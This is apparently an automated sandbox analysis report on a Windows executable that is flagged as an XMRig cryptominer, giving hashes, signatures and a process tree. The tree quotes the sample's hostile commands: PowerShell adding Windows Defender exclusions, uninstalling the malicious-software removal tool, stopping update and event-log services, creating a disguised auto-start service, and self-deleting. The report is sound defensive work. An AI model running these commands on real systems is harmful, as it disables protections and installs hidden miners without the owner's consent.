Analysis
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max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
25-11-2024 23:13
Static task
static1
Behavioral task
behavioral1
Sample
3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe
Resource
win7-20241010-en
General
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Target
3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe
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Size
5.0MB
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MD5
24c7ac428eac29a477c9d2d2d2743e36
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SHA1
6220abfbd835e5b57128410e49684ac0d80b37aa
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SHA256
3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472
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SHA512
157e9d70f6b9242af97f02e46d84a4e2adf34b036f132fb89d7e42198c24032b92c7791353d3a510e7edc562613524cecbb4a72549b850027de9287ffcb965ec
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SSDEEP
98304:1Tnmqy701zQ7AEvE/LHnt9FqAnzt2oVxJ0rTqGrY51CDcSiavE:NmRqs9WHt9XRXurTcC4V
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/2872-29-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-32-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-31-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-30-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-28-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-26-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-25-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-33-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral1/memory/2872-34-0x0000000140000000-0x0000000140835000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 2044 powershell.exe 2412 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
Processes:
cmd.exepid process 2664 cmd.exe -
Executes dropped EXE 2 IoCs
Processes:
updater.exepid process 464 1676 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
pid process 464 -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepid process 1956 powercfg.exe 2880 powercfg.exe 2808 powercfg.exe 2776 powercfg.exe 2660 powercfg.exe 2512 powercfg.exe 1484 powercfg.exe 2752 powercfg.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exeupdater.exepowershell.exe3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe updater.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
updater.exedescription pid process target process PID 1676 set thread context of 2872 1676 updater.exe explorer.exe -
Processes:
resource yara_rule behavioral1/memory/2872-20-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-21-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-29-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-32-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-31-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-30-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-28-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-24-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-22-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-23-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-26-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-25-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-33-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral1/memory/2872-34-0x0000000140000000-0x0000000140835000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
Processes:
wusa.exewusa.exedescription ioc process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2080 sc.exe 2000 sc.exe 2092 sc.exe 2760 sc.exe 2768 sc.exe 2824 sc.exe 2212 sc.exe 2924 sc.exe 2656 sc.exe 1980 sc.exe 2800 sc.exe 2720 sc.exe 1548 sc.exe 1488 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0c638a88f3fdb01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exepowershell.exeupdater.exepowershell.exeexplorer.exepid process 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2044 powershell.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 2380 3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe 1676 updater.exe 2412 powershell.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 1676 updater.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe 2872 explorer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeexplorer.exedescription pid process Token: SeDebugPrivilege 2044 powershell.exe Token: SeShutdownPrivilege 2660 powercfg.exe Token: SeShutdownPrivilege 2808 powercfg.exe Token: SeShutdownPrivilege 2776 powercfg.exe Token: SeShutdownPrivilege 2512 powercfg.exe Token: SeDebugPrivilege 2412 powershell.exe Token: SeShutdownPrivilege 1484 powercfg.exe Token: SeShutdownPrivilege 2880 powercfg.exe Token: SeShutdownPrivilege 2752 powercfg.exe Token: SeShutdownPrivilege 1956 powercfg.exe Token: SeLockMemoryPrivilege 2872 explorer.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
cmd.execmd.execmd.exeupdater.exedescription pid process target process PID 2836 wrote to memory of 2396 2836 cmd.exe wusa.exe PID 2836 wrote to memory of 2396 2836 cmd.exe wusa.exe PID 2836 wrote to memory of 2396 2836 cmd.exe wusa.exe PID 2664 wrote to memory of 2616 2664 cmd.exe choice.exe PID 2664 wrote to memory of 2616 2664 cmd.exe choice.exe PID 2664 wrote to memory of 2616 2664 cmd.exe choice.exe PID 924 wrote to memory of 624 924 cmd.exe wusa.exe PID 924 wrote to memory of 624 924 cmd.exe wusa.exe PID 924 wrote to memory of 624 924 cmd.exe wusa.exe PID 1676 wrote to memory of 2872 1676 updater.exe explorer.exe PID 1676 wrote to memory of 2872 1676 updater.exe explorer.exe PID 1676 wrote to memory of 2872 1676 updater.exe explorer.exe PID 1676 wrote to memory of 2872 1676 updater.exe explorer.exe PID 1676 wrote to memory of 2872 1676 updater.exe explorer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe"C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2380 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2396
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1980
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2092
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2212
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2760
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2924
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2808
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2776
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2660
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2512
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"2⤵
- Launches sc.exe
PID:2768
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"2⤵
- Launches sc.exe
PID:2800
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2824
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"2⤵
- Launches sc.exe
PID:2656
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2616
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C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2412
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:624
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1548
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2720
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2080
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1488
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2000
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1484
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2752
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1956
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2880
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C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2872
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.0MB
MD524c7ac428eac29a477c9d2d2d2743e36
SHA16220abfbd835e5b57128410e49684ac0d80b37aa
SHA2563b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472
SHA512157e9d70f6b9242af97f02e46d84a4e2adf34b036f132fb89d7e42198c24032b92c7791353d3a510e7edc562613524cecbb4a72549b850027de9287ffcb965ec